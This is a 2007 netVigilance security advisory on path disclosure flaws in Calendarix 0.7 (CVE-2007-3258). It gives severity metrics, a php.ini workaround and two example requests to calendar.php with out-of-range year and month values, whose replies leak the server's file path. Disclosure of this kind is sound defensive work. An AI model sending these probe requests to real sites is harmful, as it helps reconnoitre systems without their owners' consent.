netVigilance Security Advisory #35

Calendarix version 0.7. 20070307 Multiple Path Disclosure Vulnerabilities 
Description:
Calendarix is a powerful and easy to use calendar based on PHP and MySQL. It has been developed with ease of use and quick access to information in mind.  It provides the user with the quickest possible navigation and accessing the most commonly used functions in the shortest steps.

This vulnerabilities can be exploited only with PHP version < 5.0.0 and MS Windows hosting. 
External References: 
Mitre CVE:  CVE-2007-3258
NVD NIST: CVE-2007-3258
OSVDB: 35371

Summary: 
Calendarix is a powerful and easy to use calendar based on PHP and MySQL.
Security problems in the product allow attackers to gather the true path of the server-side script.

Advisory URL: 
http://www.netvigilance.com/advisory0035 

Release Date:
06/19/2007
 
Severity:
Risk: Low
 
CVSS Metrics
Access Vector: Remote
Access Complexity: High
Authentication: Not-required
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
Impact Bias: Normal
CVSS Base Score: 1.86
 
Target Distribution on Internet: Low
 
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated
 
Vulnerability Impact: Attack
Host Impact: Path disclosure.

SecureScout Testcase ID:
TC 17967 

Vulnerable Systems:
Calendarix version 0.7. 20070307

Vulnerability Type:
Program flaws - The product scripts have flaws which lead to Warnings or even Fatal Errors.
Vendor:
Vincent Hor (Calendarix Enterprise) 

Vendor Status: 
Vincent Hor of Calendarix Enterprise was not interested in coordinating release of Patch and Security Advisory, There is no official solution at this time.
Workaround:
Disable warning messages: modify in the php.ini file following line: display_errors = Off.

Example: 
Path Disclosure Vulnerability 1:

REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?year=10000 
REPLY:
Warning:  mktime(): Windows does not support negative values for this function in [DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php on line 55
Warning:  date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970 in [DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php on line 55

...
Warning:  mktime(): Windows does not support negative values for this function in [DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php on line 67
Warning:  date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970 in [DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php on line 67

Path Disclosure Vulnerability 2:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?month=10000 
REPLY:
Warning:  mktime(): Windows does not support negative values for this function in [DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php on line 55
Warning:  date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970 in [DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php on line 55

...
Warning:  mktime(): Windows does not support negative values for this function in [DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php on line 67
Warning:  date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970 in [DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php on line 67

Credits: 
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com 
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